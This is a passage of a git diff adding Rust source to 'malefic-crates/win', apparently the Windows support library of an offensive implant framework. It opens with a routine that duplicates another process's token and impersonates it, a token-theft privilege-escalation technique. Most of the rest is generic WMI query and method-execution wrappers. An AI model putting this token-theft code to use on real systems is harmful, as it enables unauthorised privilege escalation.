i32))) // ACCESS_DENIED +} + +fn duplicate_system_token(pid: u32) -> Result { + unsafe { + // Try to open target process with higher privileges + let process_handle = + match OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, false, pid) { + Ok(handle) => handle, + Err(_) => { + // If failed, try using only QUERY_INFORMATION + OpenProcess(PROCESS_QUERY_INFORMATION, false, pid)? + } + }; + + // Get process token + let mut token_handle: HANDLE = HANDLE::default(); + if let Err(e) = OpenProcessToken( + process_handle, + TOKEN_DUPLICATE | TOKEN_QUERY, + &mut token_handle, + ) { + let _ = CloseHandle(process_handle); + return Err(e); + } + + // Duplicate token + let mut new_token_handle: HANDLE = HANDLE::default(); + if let Err(e) = DuplicateTokenEx( + token_handle, + TOKEN_ALL_ACCESS, + None, + SecurityImpersonation, + TOKEN_PRIMARY, + &mut new_token_handle, + ) { + let _ = CloseHandle(token_handle); + let _ = CloseHandle(process_handle); + return Err(e); + } + + // Impersonate user + if let Err(e) = ImpersonateLoggedOnUser(new_token_handle) { + let _ = CloseHandle(new_token_handle); + let _ = CloseHandle(token_handle); + let _ = CloseHandle(process_handle); + return Err(e); + } + + // Clean up resources + let _ = CloseHandle(token_handle); + let _ = CloseHandle(process_handle); + + Ok(new_token_handle) + } +} + +pub fn has_privilege(privilege_name: &str) -> Result { + let token_handle = get_token( + unsafe { GetCurrentProcessId() }, + TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, + )?; + + unsafe { + let privilege_name = to_wide_string(privilege_name); + let mut luid: LUID = LUID::default(); + + LookupPrivilegeValueW(None, PWSTR(privilege_name.as_ptr() as *mut u16), &mut luid)?; + + let mut tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { + PrivilegeCount: 1, + Privileges: [LUID_AND_ATTRIBUTES { + Luid: luid, + Attributes: SE_PRIVILEGE_ENABLED, + }], + }; + + let mut prev_state: TOKEN_PRIVILEGES = std::mem::zeroed(); + let mut ret_len: u32 = std::mem::size_of::() as u32; + + // Enable the privilege and capture previous state + AdjustTokenPrivileges( + token_handle, + false, + Some(&mut tp), + std::mem::size_of::() as u32, + Some(&mut prev_state as *mut TOKEN_PRIVILEGES), + Some(&mut ret_len), + )?; + + let last_err = GetLastError(); + + // Token doesn't have this privilege at all + if last_err == ERROR_NOT_ALL_ASSIGNED { + let _ = CloseHandle(token_handle); + return Ok(false); + } + + // PrivilegeCount == 0: nothing was modified, privilege was already enabled + if prev_state.PrivilegeCount == 0 { + let _ = CloseHandle(token_handle); + return Ok(true); + } + + // Privilege was modified (enabled), restore original disabled state + AdjustTokenPrivileges(token_handle, false, Some(&mut prev_state), 0, None, None)?; + let _ = CloseHandle(token_handle); + Ok(false) + } +} diff --git a/malefic-crates/win/src/types/mod.rs b/malefic-crates/win/src/types/mod.rs new file mode 100644 index 0000000..9b44ee3 --- /dev/null +++ b/malefic-crates/win/src/types/mod.rs @@ -0,0 +1,2 @@ +pub type DllMain = + unsafe extern "system" fn(*mut core::ffi::c_void, u32, *mut core::ffi::c_void) -> i32; diff --git a/malefic-crates/win/src/wmi/connection.rs b/malefic-crates/win/src/wmi/connection.rs new file mode 100644 index 0000000..ccb1b55 --- /dev/null +++ b/malefic-crates/win/src/wmi/connection.rs @@ -0,0 +1,156 @@ +use super::utils::WMIError; +use super::utils::WMIResult; +use malefic_gateway::ObfDebug; +use std::marker::PhantomData; +use windows::core::BSTR; +use windows::Win32::Foundation::RPC_E_TOO_LATE; +use windows::Win32::System::Com::{ + CoCreateInstance, CoSetProxyBlanket, CLSCTX_INPROC_SERVER, RPC_C_AUTHN_LEVEL_CALL, +}; +use windows::Win32::System::Com::{ + CoInitializeEx, CoInitializeSecurity, COINIT_MULTITHREADED, EOAC_NONE, + RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, +}; +use windows::Win32::System::Rpc::{RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE}; +use windows::Win32::System::Wmi::{ + IWbemLocator, IWbemServices, WbemLocator, WBEM_FLAG_CONNECT_USE_MAX_WAIT, +}; + +/// A marker to indicate that the current thread was `CoInitialize`d. +#[derive(Clone, Copy, ObfDebug)] +pub struct COMLibrary { + // Force the type to be `!Send`, as each thread must be initialized separately. + _phantom: PhantomData<*mut ()>, +} + +/// Initialize COM. +/// +/// `CoUninitialize` will NOT be called when dropped. +/// See: https://github.com/microsoft/windows-rs/issues/1169#issuecomment-926877227 +/// +impl COMLibrary { + /// `CoInitialize`s the COM library for use by the calling thread. + pub fn new() -> WMIResult { + let instance = Self::without_security()?; + + match instance.init_security() { + Ok(()) => {} + // Security was already initialized, this is fine + Err(WMIError::HResultError { hres }) if hres == RPC_E_TOO_LATE.0 => {} + Err(err) => return Err(err), + } + + Ok(instance) + } + + /// `CoInitialize`s the COM library for use by the calling thread, but without setting the security context. + pub fn without_security() -> WMIResult { + unsafe { CoInitializeEx(None, COINIT_MULTITHREADED).ok()? } + + let instance = Self { + _phantom: PhantomData, + }; + + Ok(instance) + } + + /// Assumes that COM was already initialized for this thread. + /// + /// # Safety + /// + /// This function is unsafe as it is the caller's responsibility to ensure that COM is initialized + /// and will not be uninitialized while any instance of object is in scope. + pub unsafe fn assume_initialized() -> Self { + Self { + _phantom: PhantomData, + } + } + + fn init_security(&self) -> WMIResult<()> { + unsafe { + CoInitializeSecurity( + None, + -1, // let COM choose. + None, + None, + RPC_C_AUTHN_LEVEL_DEFAULT, + RPC_C_IMP_LEVEL_IMPERSONATE, + None, + EOAC_NONE, + None, + )?; + }; + + Ok(()) + } +} + +#[derive(Clone, ObfDebug)] +pub struct WMIConnection { + _com_con: COMLibrary, + pub svc: IWbemServices, +} + +/// A connection to the local WMI provider, which provides querying capabilities. +/// +/// Currently does not support remote providers (e.g connecting to other computers). +impl WMIConnection { + /// Creates a connection with a default `CIMV2` namespace path. + pub fn new(com_lib: COMLibrary) -> WMIResult { + Self::with_namespace_path("ROOT\\CIMV2", com_lib) + } + + /// Creates a connection with the given namespace path. + pub fn with_namespace_path(namespace_path: &str, com_lib: COMLibrary) -> WMIResult { + let loc = create_locator()?; + let svc = create_services(&loc, namespace_path)?; + + let this = Self { + _com_con: com_lib, + svc, + }; + + this.set_proxy()?; + Ok(this) + } + + fn set_proxy(&self) -> WMIResult<()> { + unsafe { + CoSetProxyBlanket( + &self.svc, + RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx + RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx + None, + RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx + RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx + None, // client identity + EOAC_NONE, // proxy capabilities + )?; + } + + Ok(()) + } +} + +fn create_locator() -> WMIResult { + let loc = unsafe { CoCreateInstance(&WbemLocator, None, CLSCTX_INPROC_SERVER)? }; + Ok(loc) +} + +fn create_services(loc: &IWbemLocator, path: &str) -> WMIResult { + let object_path_bstr = BSTR::from(path); + + let svc = unsafe { + loc.ConnectServer( + &object_path_bstr, + &BSTR::new(), + &BSTR::new(), + &BSTR::new(), + WBEM_FLAG_CONNECT_USE_MAX_WAIT.0, + &BSTR::new(), + None, + )? + }; + + Ok(svc) +} diff --git a/malefic-crates/win/src/wmi/exec.rs b/malefic-crates/win/src/wmi/exec.rs new file mode 100644 index 0000000..e2e905f --- /dev/null +++ b/malefic-crates/win/src/wmi/exec.rs @@ -0,0 +1,73 @@ +use super::result_enumerator::IWbemClassWrapper; +use super::utils::wide_rust_to_c_string; +use super::variant::Variant; +use super::{WMIConnection, WMIError, WMIResult}; +use windows::core::{BSTR, PCWSTR}; +use windows::Win32::System::Wmi; +use windows::Win32::System::Wmi::IWbemClassObject; + +pub struct WmiExecParam { + pub key: String, + pub value: Variant, +} + +impl WMIConnection { + pub fn get_object(&self, name: &str) -> WMIResult { + let mut wmi_object = None; + unsafe { + self.svc.GetObject( + &BSTR::from(name), + Wmi::WBEM_FLAG_RETURN_WBEM_COMPLETE, + None, + Some(&mut wmi_object), + None, + ) + }?; + + Ok(wmi_object + .ok_or_else(|| WMIError::SerdeError(format!("object {} is not found", name)))?) + } + + pub fn exec_method( + &self, + class_name: &str, + method_name: &str, + params: &[WmiExecParam], + ) -> WMIResult> { + unsafe { + let mut in_params_class: Option = None; + let object = self.get_object(class_name)?; + object.GetMethod( + PCWSTR::from_raw(wide_rust_to_c_string(method_name).as_ptr()), + 0, + &mut in_params_class, + std::ptr::null_mut(), + )?; + let in_params_class = in_params_class + .ok_or_else(|| WMIError::SerdeError("in params class is none".into()))?; + let in_params = in_params_class.SpawnInstance(0)?; + for param in params { + in_params.Put( + PCWSTR::from_raw(wide_rust_to_c_string(¶m.key).as_ptr()), + 0, + &Variant::to_variant(¶m.value)?, + 0, + )?; + } + let mut out_params = None; + self.svc.ExecMethod( + &BSTR::from(class_name), + &BSTR::from(method_name), + Default::default(), + None, + &in_params, + Some(&mut out_params), + None, + )?; + match out_params { + None => Ok(None), + Some(out) => Ok(Some(IWbemClassWrapper::new(out))), + } + } + } +} diff --git a/malefic-crates/win/src/wmi/mod.rs b/malefic-crates/win/src/wmi/mod.rs new file mode 100644 index 0000000..6796deb --- /dev/null +++ b/malefic-crates/win/src/wmi/mod.rs @@ -0,0 +1,12 @@ +pub mod connection; +pub mod exec; +pub mod query; +pub mod result_enumerator; +pub mod safearray; +pub mod utils; +pub mod variant; + +pub use connection::{COMLibrary, WMIConnection}; +pub use result_enumerator::IWbemClassWrapper; +pub use utils::{WMIError, WMIResult}; +pub use variant::Variant; diff --git a/malefic-crates/win/src/wmi/query.rs b/malefic-crates/win/src/wmi/query.rs new file mode 100644 index 0000000..39c7ec3 --- /dev/null +++ b/malefic-crates/win/src/wmi/query.rs @@ -0,0 +1,27 @@ +use super::connection::WMIConnection; +use super::result_enumerator::QueryResultEnumerator; +use super::WMIResult; +use windows::core::BSTR; +use windows::Win32::System::Wmi::{WBEM_FLAG_FORWARD_ONLY, WBEM_FLAG_RETURN_IMMEDIATELY}; + +impl WMIConnection { + /// Execute the given query and return an iterator of WMI pointers. + pub fn exec_query_native_wrapper( + &self, + query: impl AsRef, + ) -> WMIResult { + let query_language = BSTR::from("WQL"); + let query = BSTR::from(query.as_ref()); + + let enumerator = unsafe { + self.svc.ExecQuery( + &query_language, + &query, + WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, + None, + )? + }; + + Ok(QueryResultEnumerator::new(self, enumerator)) + } +} diff --git a/malefic-crates/win/src/wmi/result_enumerator.rs b/malefic-crates/win/src/wmi/result_enumerator.rs new file mode 100644 index 0000000..cdcce1b --- /dev/null +++ b/malefic-crates/win/src/wmi/result_enumerator.rs @@ -0,0 +1,124 @@ +use super::{ + connection::WMIConnection, safearray::safe_array_to_vec_of_strings, Variant, WMIError, + WMIResult, +}; +use std::ptr; +use windows::core::VARIANT; +use windows::Win32::System::Ole::SafeArrayDestroy; +use windows::Win32::System::Variant::VariantClear; +use windows::Win32::System::Wmi::{ + IEnumWbemClassObject, IWbemClassObject, CIMTYPE_ENUMERATION, WBEM_FLAG_ALWAYS, + WBEM_FLAG_NONSYSTEM_ONLY, WBEM_INFINITE, +}; +use windows::{ + core::{HSTRING, PCWSTR}, + Win32::System::Wmi::WBEM_CONDITION_FLAG_TYPE, +}; + +/// A wrapper around a raw pointer to IWbemClassObject, which also takes care of releasing +/// the object when dropped. +#[repr(transparent)] +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct IWbemClassWrapper { + pub inner: IWbemClassObject, +} + +impl IWbemClassWrapper { + pub fn new(inner: IWbemClassObject) -> Self { + Self { inner } + } + + /// Return the names of all the properties of the given object. + pub fn list_properties(&self) -> WMIResult> { + let p_names = unsafe { + self.inner.GetNames( + None, + WBEM_CONDITION_FLAG_TYPE(WBEM_FLAG_ALWAYS.0 | WBEM_FLAG_NONSYSTEM_ONLY.0), + ptr::null_mut(), + ) + }?; + + let res = safe_array_to_vec_of_strings(unsafe { &*p_names }); + + unsafe { SafeArrayDestroy(p_names) }?; + + res + } + + pub fn get_property(&self, property_name: &str) -> WMIResult { + let name_prop = HSTRING::from(property_name); + + let mut vt_prop = VARIANT::default(); + + let mut cim_type = 0; + + unsafe { + self.inner.Get( + PCWSTR::from_raw(name_prop.as_ptr()), + 0, + &mut vt_prop, + Some(&mut cim_type), + None, + )?; + + let property_value = Variant::from_variant(&vt_prop)? + .convert_into_cim_type(CIMTYPE_ENUMERATION(cim_type))?; + + VariantClear(&mut vt_prop)?; + + Ok(property_value) + } + } + + pub fn path(&self) -> WMIResult { + self.get_property("__Path").and_then(Variant::try_into) + } + + pub fn class(&self) -> WMIResult { + self.get_property("__Class").and_then(Variant::try_into) + } +} + +pub struct QueryResultEnumerator<'a> { + _wmi_con: &'a WMIConnection, + p_enumerator: IEnumWbemClassObject, +} + +impl<'a> QueryResultEnumerator<'a> { + pub fn new(wmi_con: &'a WMIConnection, p_enumerator: IEnumWbemClassObject) -> Self { + Self { + _wmi_con: wmi_con, + p_enumerator, + } + } +} + +impl<'a> Iterator for QueryResultEnumerator<'a> { + type Item = WMIResult; + + fn next(&mut self) -> Option { + let mut objs = [None; 1]; + let mut return_value = 0; + + let res = unsafe { + self.p_enumerator + .Next(WBEM_INFINITE, &mut objs, &mut return_value) + }; + + if let Err(e) = res.ok() { + return Some(Err(e.into())); + } + + if return_value == 0 { + return None; + } + + let mut objs = objs.into_iter(); + let pcls_ptr = objs.next().unwrap().ok_or(WMIError::NullPointerResult); + + match pcls_ptr { + Err(e) => Some(Err(e)), + Ok(pcls_ptr) => Some(Ok(IWbemClassWrapper::new(pcls_ptr))), + } + } +} diff --git a/malefic-crates/win/src/wmi/safearray.rs b/malefic-crates/win/src/wmi/safearray.rs new file mode 100644 index 0000000..a75aa0b --- /dev/null +++ b/malefic-crates/win/src/wmi/safearray.rs @@ -0,0 +1,122 @@ +use super::{ + utils::{WMIError, WMIResult}, + Variant, +}; +use std::{iter::Iterator, ptr::null_mut, slice}; +use windows::core::BSTR; +use windows::Win32::System::Com::SAFEARRAY; +use windows::Win32::System::Ole::{ + SafeArrayAccessData, SafeArrayGetLBound, SafeArrayGetUBound, SafeArrayUnaccessData, +}; +use windows::Win32::System::Variant::*; + +#[derive(Debug)] +pub struct SafeArrayAccessor<'a, T> { + arr: &'a SAFEARRAY, + p_data: *mut T, + lower_bound: i32, + upper_bound: i32, +} + +/// An accessor to SafeArray, which: +/// 1. Locks the array so the data can be read. +/// 2. Unlocks the array once dropped. +impl<'a, T> SafeArrayAccessor<'a, T> { + /// Creates a new Accessor, locking the given array, + /// + /// # Safety + /// + /// This function is unsafe as it is the caller's responsibility to verify that the array is + /// of items of type T. + pub fn new(arr: &'a SAFEARRAY) -> WMIResult { + let mut p_data = null_mut(); + + let lower_bound = unsafe { SafeArrayGetLBound(arr, 1)? }; + let upper_bound = unsafe { SafeArrayGetUBound(arr, 1)? }; + unsafe { SafeArrayAccessData(arr, &mut p_data)? }; + + Ok(Self { + arr, + p_data: p_data as *mut T, + lower_bound, + upper_bound, + }) + } + + /// Return a slice which can access the data of the array. + pub fn as_slice(&self) -> &[T] { + let data_slice = + unsafe { slice::from_raw_parts(self.p_data, (self.upper_bound + 1) as usize) }; + + &data_slice[(self.lower_bound as usize)..] + } +} + +impl<'a, T> Drop for SafeArrayAccessor<'a, T> { + fn drop(&mut self) { + unsafe { + let _result = SafeArrayUnaccessData(self.arr); + } + } +} + +/// # Safety +/// +/// The caller must ensure that the array is valid and contains only strings. +pub fn safe_array_to_vec_of_strings(arr: &SAFEARRAY) -> WMIResult> { + let items = safe_array_to_vec(arr, VT_BSTR)?; + + let string_items = items + .into_iter() + .map(|item| match item { + Variant::String(s) => s, + _ => unreachable!(), + }) + .collect(); + + Ok(string_items) +} + +/// # Safety +/// +/// The caller must ensure that the array is valid. +pub fn safe_array_to_vec(arr: &SAFEARRAY, item_type: VARENUM) -> WMIResult> { + fn copy_type_to_vec(arr: &SAFEARRAY, variant_builder: F) -> WMIResult> + where + T: Copy, + F: Fn(T) -> Variant, + { + let mut items = vec![]; + + let accessor = SafeArrayAccessor::::new(arr)?; + + for item in accessor.as_slice().iter() { + items.push(variant_builder(*item)); + } + + Ok(items) + } + + match item_type { + VT_I1 => copy_type_to_vec(arr, Variant::I1), + VT_I2 => copy_type_to_vec(arr, Variant::I2), + VT_I4 => copy_type_to_vec(arr, Variant::I4), + VT_I8 => copy_type_to_vec(arr, Variant::I8), + VT_UI1 => copy_type_to_vec(arr, Variant::UI1), + VT_UI2 => copy_type_to_vec(arr, Variant::UI2), + VT_UI4 => copy_type_to_vec(arr, Variant::UI4), + VT_UI8 => copy_type_to_vec(arr, Variant::UI8), + VT_R4 => copy_type_to_vec(arr, Variant::R4), + VT_R8 => copy_type_to_vec(arr, Variant::R8), + VT_BSTR => { + let mut items = vec![]; + let accessor = SafeArrayAccessor::::new(arr)?; + + for item_bstr in accessor.as_slice().iter() { + items.push(Variant::String(item_bstr.try_into()?)); + } + Ok(items) + } + _ => Err(WMIError::UnimplementedArrayItem), + } +} diff --git a/malefic-crates/win/src/wmi/utils.rs b/malefic-crates/win/src/wmi/utils.rs new file mode 100644 index 0000000..c924e24 --- /dev/null +++ b/malefic-crates/win/src/wmi/utils.rs @@ -0,0 +1,59 @@ +use std::ffi::OsStr; +use std::fmt::Debug; +use std::os::windows::ffi::OsStrExt; +use thiserror::Error; + +#[derive(Debug, Error)] +#[non_exhaustive] +pub enum WMIError { + /// You can find a useful resource for decoding error codes [here](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-error-constants) + /// (or a github version [here](https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/WmiSdk/wmi-error-constants.md)) + #[error("HRESULT Call failed with: {hres:#X}")] + HResultError { hres: i32 }, + #[error(transparent)] + ParseIntError(#[from] std::num::ParseIntError), + #[error(transparent)] + ParseFloatError(#[from] std::num::ParseFloatError), + #[error("Converting from variant type {0:#X} is not implemented yet")] + ConvertError(u16), + #[error("{0}")] + ConvertVariantError(String), + #[error("Invalid bool value: {0:#X}")] + ConvertBoolError(i16), + #[error(transparent)] + ConvertStringError(#[from] std::string::FromUtf16Error), + #[error("Expected {0:?} to be at least 21 chars")] + ConvertDatetimeError(String), + #[error("Expected {0:?} to be at 25 chars")] + ConvertDurationError(String), + #[error("Length {0} was too long to convert")] + ConvertLengthError(u64), + #[error("{0}")] + SerdeError(String), + #[error("No results returned")] + ResultEmpty, + #[error("Null pointer was sent as part of query result")] + NullPointerResult, + #[error("Unimplemeted array item in query")] + UnimplementedArrayItem, + #[error("Invalid variant {0} during deserialization")] + InvalidDeserializationVariantError(String), +} + +impl From for WMIError { + fn from(value: windows::core::Error) -> Self { + Self::HResultError { + hres: value.code().0, + } + } +} + +/// Alias type for `Result` +pub type WMIResult = Result; + +pub fn wide_rust_to_c_string(s: &str) -> Vec { + OsStr::new(s) + .encode_wide() + .chain(std::iter::once(0)) + .collect() +} diff --git a/malefic-crates/win/src/wmi/variant.rs b/malefic-crates/win/src/wmi/variant.rs new file mode 100644 index 0000000..f7d467e --- /dev/null +++ b/malefic-crates/win/src/wmi/variant.rs @@ -0,0 +1,396 @@ +use super::{ + result_enumerator::IWbemClassWrapper, safearray::safe_array_to_vec, WMIError, WMIResult, +}; +use std::convert::TryFrom; +use windows::core::{IUnknown, Interface, BSTR, VARIANT}; +use windows::Win32::Foundation::{VARIANT_BOOL, VARIANT_FALSE, VARIANT_TRUE}; +use windows::Win32::System::Com::{SAFEARRAY, SAFEARRAYBOUND}; +use windows::Win32::System::Ole::{SafeArrayCreate, SafeArrayPutElement}; +use windows::Win32::System::Variant::*; +use windows::Win32::System::Wmi::{self, IWbemClassObject, CIMTYPE_ENUMERATION}; + +#[derive(Debug, PartialEq)] +pub enum Variant { + Empty, + Null, + + String(String), + + I1(i8), + I2(i16), + I4(i32), + I8(i64), + + R4(f32), + R8(f64), + + Bool(bool), + + UI1(u8), + UI2(u16), + UI4(u32), + UI8(u64), + + Array(Vec), + + /// Temporary variant used internally + Unknown(IUnknownWrapper), + Object(IWbemClassWrapper), +} + +// The `cast_num` macro is used to convert a numerical variable to a variant of the given CIMTYPE. +macro_rules! cast_num { + ($var:ident, $cim_type: ident) => { + if $cim_type == Wmi::CIM_UINT8 { + Ok(Variant::UI1($var as u8)) + } else if $cim_type == Wmi::CIM_UINT16 { + Ok(Variant::UI2($var as u16)) + } else if $cim_type == Wmi::CIM_UINT32 { + Ok(Variant::UI4($var as u32)) + } else if $cim_type == Wmi::CIM_UINT64 { + Ok(Variant::UI8($var as u64)) + } else if $cim_type == Wmi::CIM_SINT8 { + Ok(Variant::I1($var as i8)) + } else if $cim_type == Wmi::CIM_SINT16 { + Ok(Variant::I2($var as i16)) + } else if $cim_type == Wmi::CIM_SINT32 { + Ok(Variant::I4($var as i32)) + } else if $cim_type == Wmi::CIM_SINT64 { + Ok(Variant::I8($var as i64)) + } else if $cim_type == Wmi::CIM_REAL32 { + Ok(Variant::R4($var as f32)) + } else if $cim_type == Wmi::CIM_REAL64 { + Ok(Variant::R8($var as f64)) + } else if $cim_type == Wmi::CIM_CHAR16 { + Ok(Variant::String(String::from_utf16(&[$var as u16])?)) + } else { + Err(WMIError::ConvertVariantError(format!( + "Value {:?} cannot be turned into a CIMTYPE {:?}", + $var, $cim_type, + ))) + } + }; +} + +pub trait FromVariant { + fn from_variant(variant: &Variant) -> Option + where + Self: Sized; +} +impl FromVariant for String { + fn from_variant(variant: &Variant) -> Option { + match variant { + Variant::String(value) => Some(value.clone()), + _ => None, + } + } +} + +fn create_variant_from_strings(params: &[String]) -> WMIResult { + unsafe { + let mut rgsa_bounds = vec![SAFEARRAYBOUND::default(); 1]; + rgsa_bounds[0].cElements = params.len() as u32; + rgsa_bounds[0].lLbound = 0; + let psa: *mut SAFEARRAY = SafeArrayCreate(VT_BSTR, 1, rgsa_bounds.as_ptr()); + if psa.is_null() { + return Err(WMIError::SerdeError("Failed to create SAFEARRAY.".into())); + } + for (i, s) in params.iter().enumerate() { + let bstr: BSTR = BSTR::from(s); + SafeArrayPutElement(psa, &mut (i as i32), bstr.as_ptr() as *const _)?; + } + let variant = windows_core::imp::VARIANT { + Anonymous: windows_core::imp::VARIANT_0 { + Anonymous: windows_core::imp::VARIANT_0_0 { + vt: VT_BSTR.0 | VT_ARRAY.0, + wReserved1: 0, + wReserved2: 0, + wReserved3: 0, + Anonymous: windows_core::imp::VARIANT_0_0_0 { + parray: psa as *mut _, + }, + }, + }, + }; + Ok(VARIANT::from_raw(variant)) + } +} + +impl Variant { + /// Create a `Variant` instance from a raw `VARIANT`. + /// + /// # Safety + /// + /// This function is unsafe as it is the caller's responsibility to ensure that the VARIANT is correctly initialized. + pub fn from_variant(vt: &VARIANT) -> WMIResult { + let vt = vt.as_raw(); + let variant_type = unsafe { vt.Anonymous.Anonymous.vt }; + + // variant_type has two 'forms': + // 1. A simple type like `VT_BSTR` . + // 2. An array of certain type like `VT_ARRAY | VT_BSTR`. + if variant_type & VT_ARRAY.0 == VT_ARRAY.0 { + let array = unsafe { + vt.Anonymous.Anonymous.Anonymous.parray + as *const windows::Win32::System::Com::SAFEARRAY + }; + + let item_type = VARENUM(variant_type & VT_TYPEMASK.0); + + return Ok(Variant::Array(unsafe { + safe_array_to_vec(&*array, item_type)? + })); + } + + // See https://msdn.microsoft.com/en-us/library/cc237865.aspx for more info. + let variant_value = match VARENUM(variant_type) { + VT_BSTR => { + let bstr_ptr = unsafe { BSTR::from_raw(vt.Anonymous.Anonymous.Anonymous.bstrVal) }; + let bstr_as_str = bstr_ptr.to_string(); + // We don't want to be the ones freeing the BSTR. + let _ = bstr_ptr.into_raw(); + Variant::String(bstr_as_str) + } + VT_I1 => { + let num = unsafe { vt.Anonymous.Anonymous.Anonymous.cVal }; + Variant::I1(num as _) + } + VT_I2 => { + let num: i16 = unsafe { vt.Anonymous.Anonymous.Anonymous.iVal }; + Variant::I2(num) + } + VT_I4 => { + let num: i32 = unsafe { vt.Anonymous.Anonymous.Anonymous.lVal }; + Variant::I4(num) + } + VT_I8 => { + let num: i64 = unsafe { vt.Anonymous.Anonymous.Anonymous.llVal }; + Variant::I8(num) + } + VT_R4 => { + let num: f32 = unsafe { vt.Anonymous.Anonymous.Anonymous.fltVal }; + Variant::R4(num) + } + VT_R8 => { + let num: f64 = unsafe { vt.Anonymous.Anonymous.Anonymous.dblVal }; + Variant::R8(num) + } + VT_BOOL => { + let value = unsafe { vt.Anonymous.Anonymous.Anonymous.boolVal }; + match VARIANT_BOOL(value) { + VARIANT_FALSE => Variant::Bool(false), + VARIANT_TRUE => Variant::Bool(true), + _ => return Err(WMIError::ConvertBoolError(value)), + } + } + VT_UI1 => { + let num: u8 = unsafe { vt.Anonymous.Anonymous.Anonymous.bVal }; + Variant::UI1(num) + } + VT_UI2 => { + let num: u16 = unsafe { vt.Anonymous.Anonymous.Anonymous.uiVal }; + Variant::UI2(num) + } + VT_UI4 => { + let num: u32 = unsafe { vt.Anonymous.Anonymous.Anonymous.ulVal }; + Variant::UI4(num) + } + VT_UI8 => { + let num: u64 = unsafe { vt.Anonymous.Anonymous.Anonymous.ullVal }; + Variant::UI8(num) + } + VT_EMPTY => Variant::Empty, + VT_NULL => Variant::Null, + VT_UNKNOWN => { + let ptr = unsafe { + IUnknown::from_raw_borrowed(&vt.Anonymous.Anonymous.Anonymous.punkVal) + }; + let ptr = ptr.cloned().ok_or(WMIError::NullPointerResult)?; + Variant::Unknown(IUnknownWrapper::new(ptr)) + } + _ => return Err(WMIError::ConvertError(variant_type)), + }; + + Ok(variant_value) + } + + pub fn to_variant(vt: &Variant) -> WMIResult { + let v = match vt { + Variant::Empty => VARIANT::default(), + Variant::Null => VARIANT::default(), + Variant::String(val) => VARIANT::from(BSTR::from(val.as_str())), + Variant::I1(val) => VARIANT::from(*val), + Variant::I2(val) => VARIANT::from(*val), + Variant::I4(val) => VARIANT::from(*val), + Variant::I8(val) => VARIANT::from(*val), + Variant::R4(val) => VARIANT::from(*val), + Variant::R8(val) => VARIANT::from(*val), + Variant::Bool(val) => VARIANT::from(*val), + Variant::UI1(val) => VARIANT::from(*val), + Variant::UI2(val) => VARIANT::from(*val), + Variant::UI4(val) => VARIANT::from(*val), + Variant::UI8(val) => VARIANT::from(*val), + Variant::Array(val) => { + let a: Vec = val + .into_iter() + .map(|item| match item { + Variant::String(s) => s.to_string(), + _ => unreachable!(), + }) + .collect(); + create_variant_from_strings(&a)? + } + _ => return Err(WMIError::SerdeError("unknown type".into())), + }; + Ok(v) + } + + pub fn to_vec(&self) -> Vec + where + T: Clone + FromVariant, + { + match self { + Variant::Array(variants) => { + let mut result = Vec::new(); + for variant in variants { + if let Some(value) = T::from_variant(variant) { + result.push(value); + } + } + result + } + _ => Vec::new(), + } + } + + /// Convert the variant it to a specific type. + pub fn convert_into_cim_type(self, cim_type: CIMTYPE_ENUMERATION) -> WMIResult { + if cim_type == Wmi::CIM_EMPTY { + return Ok(Variant::Null); + } + + if (Wmi::CIM_FLAG_ARRAY.0 & cim_type.0) != 0 { + return match self { + Variant::Array(arr) => Variant::Array(arr) + .convert_into_cim_type(CIMTYPE_ENUMERATION(cim_type.0 & 0xff)), + Variant::Empty | Variant::Null => Ok(Variant::Array(vec![])), + not_array => { + Ok(Variant::Array(vec![not_array.convert_into_cim_type( + CIMTYPE_ENUMERATION(cim_type.0 & 0xff), + )?])) + } + }; + } + + let converted_variant = match self { + Variant::Empty => Variant::Empty, + Variant::Null => Variant::Null, + Variant::I1(n) => cast_num!(n, cim_type)?, + Variant::I2(n) => cast_num!(n, cim_type)?, + Variant::I4(n) => cast_num!(n, cim_type)?, + Variant::I8(n) => cast_num!(n, cim_type)?, + Variant::R4(f) => cast_num!(f, cim_type)?, + Variant::R8(f) => cast_num!(f, cim_type)?, + Variant::UI1(n) => cast_num!(n, cim_type)?, + Variant::UI2(n) => cast_num!(n, cim_type)?, + Variant::UI4(n) => cast_num!(n, cim_type)?, + Variant::UI8(n) => cast_num!(n, cim_type)?, + Variant::Bool(b) => { + if cim_type == Wmi::CIM_BOOLEAN { + Variant::Bool(b) + } else { + return Err(WMIError::ConvertVariantError(format!( + "A boolean Variant cannot be turned into a CIMTYPE {:?}", + cim_type, + ))); + } + } + Variant::String(s) => match cim_type { + Wmi::CIM_STRING | Wmi::CIM_CHAR16 => Variant::String(s), + Wmi::CIM_REAL64 => Variant::R8(s.parse()?), + Wmi::CIM_REAL32 => Variant::R4(s.parse()?), + Wmi::CIM_UINT64 => Variant::UI8(s.parse()?), + Wmi::CIM_SINT64 => Variant::I8(s.parse()?), + Wmi::CIM_UINT32 => Variant::UI4(s.parse()?), + Wmi::CIM_SINT32 => Variant::I4(s.parse()?), + Wmi::CIM_UINT16 => Variant::UI2(s.parse()?), + Wmi::CIM_SINT16 => Variant::I2(s.parse()?), + Wmi::CIM_UINT8 => Variant::UI1(s.parse()?), + Wmi::CIM_SINT8 => Variant::I1(s.parse()?), + _ => Variant::String(s), + }, + Variant::Array(variants) => { + let converted_variants = variants + .into_iter() + .map(|variant| variant.convert_into_cim_type(cim_type)) + .collect::, WMIError>>()?; + + Variant::Array(converted_variants) + } + Variant::Unknown(u) => { + if cim_type == Wmi::CIM_OBJECT { + Variant::Object(u.to_wbem_class_obj()?) + } else { + return Err(WMIError::ConvertVariantError(format!( + "A unknown Variant cannot be turned into a CIMTYPE {:?}", + cim_type, + ))); + } + } + Variant::Object(o) => Variant::Object(o), + }; + + Ok(converted_variant) + } +} + +/// A wrapper around the [`IUnknown`] interface. +#[repr(transparent)] +#[derive(Debug, 